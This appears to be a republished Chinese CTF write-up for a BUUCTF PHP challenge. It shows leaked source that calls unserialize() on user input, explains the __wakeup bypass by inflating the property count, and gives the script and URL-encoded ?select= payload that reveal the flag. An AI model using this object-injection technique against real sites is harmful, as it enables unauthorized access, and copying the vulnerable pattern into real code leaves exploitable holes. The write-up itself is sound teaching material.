[极客大挑战 2019]PHP BUUCTF靶场
2021/10/15 11:14:27
本文主要是介绍[极客大挑战 2019]PHP BUUCTF靶场,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
源码泄露
进入主页先扫一下后台
然后把源码下载下来
代码审计
index.php
<?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>
主页通过get方式传入参数'select' ,并且对select参数反序化操作,这里猜到可能会是出题点,可能通过触发魔法函数来触发漏洞
class.php
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
这里看到三个魔法函数:
__construct:
当一个对象创建时调用(constructor)
__sleep:
方法在一个对象被序列化时调用
__wakeup:
方法在一个对象被反序列化时调用,这里可以看到当触发这个函数的时候后台把username强制改为'guest'。
__destruct:
当一个对象被销毁时调用(destructor),这里可以看到当触发这个魔法函数时,如果username=‘admin’,password=‘100’,就会把flag输出出来了。
利用思路:
我们需要实例化一个对象Name,并且Name中的username的参数为'admin',password的参数为100,但是网站入口处会对内容进行反序列化,此时会触发__wakeup()和__destruct()魔法函数,但是__wakeup魔法函数会对我们的username参数进行重新赋值,所以需要绕过这个函数。
__wakeup()函数绕过
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。
例:
O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;} //把红色位置的数字改大即可绕过__wakeup()魔法函数的自动触发
构造payload:
<?php class Name{ private $username = 'admin'; private $password = 100; } $a = new Name(); var_dump(serialize($a)); echo urlencode(serialize($a));//因为是私有属性所以要进行url编码,我也不知道为什么 ?>
把这个数字改为比2大的数就行了
?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
flag打出来了
这篇关于[极客大挑战 2019]PHP BUUCTF靶场的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-03-29env: php: no such file or directory
- 2024-03-01php foreach break
- 2024-02-26Exception参数 php-icode9专业技术文章分享
- 2023-12-30PHP文件批量上传-icode9专业技术文章分享
- 2023-12-30thinkphp6 withJoin-icode9专业技术文章分享
- 2023-12-27MagicArray:像php一样,让Go业务代码不再卷!
- 2023-11-18centos7编译安装PHP教程。
- 2023-11-18centos7编译安装phpMyAdmin教程。
- 2023-10-13唱衰这么多年,PHP 仍然还是你大爷!
- 2023-07-25PHP8,性能更好,语法更好,类型安全更完善